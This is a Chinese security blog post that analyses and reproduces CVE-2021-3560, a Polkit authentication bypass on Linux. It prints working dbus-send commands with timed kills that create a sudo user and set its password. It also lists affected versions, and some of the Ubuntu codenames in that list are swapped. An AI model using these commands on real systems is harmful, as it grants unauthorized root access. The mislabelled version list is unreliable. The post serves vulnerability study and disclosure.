前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >CVE-2021-3560漏洞复现及原理分析

CVE-2021-3560漏洞复现及原理分析

作者头像
乌鸦安全
发布2021-08-05 15:49:43
2.7K0
发布2021-08-05 15:49:43
举报
文章被收录于专栏:乌鸦安全乌鸦安全

✎ 阅读须知

乌鸦安全的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。

乌鸦安全拥有对此文章的修改、删除和解释权限,如转载或传播此文章,需保证文章的完整性,未经授权,不得用于其他。

01 漏洞介绍

CVE-2021-3560漏洞存在于系统服务Polkit中,同时因为Polkit被Systemd所调用,因此所有默认安装了Systemd的Linux发行版都会使用Polkit。

该漏洞的成因是执行dbus-send命令后在认证完成前强制终止引发错误,而Polkit未正确处理错误而导致允许无特权的用户添加一个sudo用户进行权限提升。

正常情况下执行流程如下:

  1. dbus-send会要求帐户守护程序创建一个新用户

  1. account-daemon从dbus-send接收D-Bus消息,该消息包括了发送者的唯一总线名称,假设它为“:1.96”,且此名称无法伪造

  1. account-daemon询问Polkit消息:1.96是否已经被授权创建用户

  1. Polkit向dbus-daemon询问消息的UID:1.96

  1. 如果消息:1.96 的UID为“0”,则Polkit将会立即授权该请求。如果不是,将会向身份验证代理发送允许授权请求的管理员用户列表

  1. 身份验证代理弹出一个对话框向用户进行密码认证

  1. 用户输入后,身份验证代理将密码发送给Polkit

  1. 身份验证通过后,Polkit将“yes”发送给帐户守护程序。

  1. account-daemon创建新的用户帐户。

问:为什么强制终止dbus-send会导致身份验证绕过?

答:因为该漏洞出现在上述执行流程的第4步。如果Polkit向dbus-daemon询问消息:1.96的UID,而消息:1.96不存在时就会引发错误,并且Polkit未能正确处理此错误:它没有拒绝请求,而是将请求视为来自UID 0的进程,也就是说,它会认为该请求来自root进程,因此它会直接授权该请求。

02 漏洞复现

复现所用到的环境为

Ubuntu 20.04.2 LTS

首先使用如下命令查看系统运行Polkit的过程需用到多少时间:

代码语言:javascript
复制
time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:pwn string:"pwn your host" int32:1

返回结果为

代码语言:javascript
复制
real 0m2.939s
user 0m0.000s
sys  0m0.038

然后输入第二条命令,设置将进程kill的时间为sys运行时间的一半左右(这样是为了提高成功率,这点后面会进行解释):

代码语言:javascript
复制
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:pwn string:"pwn your host" int32:1 & sleep 0.024s ; kill $!

如果利用成功可添加一个名为pwn的sudo权限用户,如果一次不成功可以多次尝试(笔者曾出现多次都没成功的情况,所以如果遇到这种情况不要着急),如果多次不成功可以尝试修改kill进程的时间

输入id pwn查看用户,此时已经成功利用

接下来使用openssl passwd -5命令生成一条密文,内容随意,这里使用qwertyuiop。这是为了添加pwn用户的登录密码,由于无法使用明文,所以需要使用ssl加密

接下来是第三条命令,注意将uid、kill时间、密码进行相应的修改:

代码语言:javascript
复制
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1002 org.freedesktop.Accounts.User.SetPassword string:'passwd' string:GoldenEye & sleep 0.008s ; kill $!

执行

同样,如果不成功请尝试多次

最后,试着用刚才添加的密码登录pwn用户su - pwn

成功

可以看到已经成功登录新创建的sudo用户pwn,到这一步提权就算圆满完成

视频演示

代码语言:javascript
复制
https://www.bilibili.com/video/BV12o4y1y7gC

03 影响版本

红帽企业版RHEL 8

Fedora 21及以上版本

Debian测试版("bullseye")

Ubuntu 20.04(Hirsute Hippo)

Ubuntu 20.10(Groovy Gorilla)

Ubuntu 21.04LTS(Focal Fossa)

04 后记

为什么kill进程的时间不确定?因为Polkit在不同的代码路径上多次向dbus-daemon请求消息的UID时,这些代码路径大多数都能正确处理,只有其中之一会引发错误。因此如果dbus-send命令提前终止(kill进程的时间过早),它将正确地处理该问题并且拒绝请求。所以关键在于需要在适当的时间kill掉进程,所以多数情况下需要执行多次才能成功,而这也是这个漏洞能存在七年之久而没被发现的原因。

05 参考文档

代码语言:javascript
复制
https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/
https://ubuntu.com/security/CVE-2021-3560
本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2021-06-14,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 乌鸦安全 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
多因子身份认证
多因子身份认证(Multi-factor Authentication Service,MFAS)的目的是建立一个多层次的防御体系,通过结合两种或三种认证因子(基于记忆的/基于持有物的/基于生物特征的认证因子)验证访问者的身份,使系统或资源更加安全。攻击者即使破解单一因子(如口令、人脸),应用的安全依然可以得到保障。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档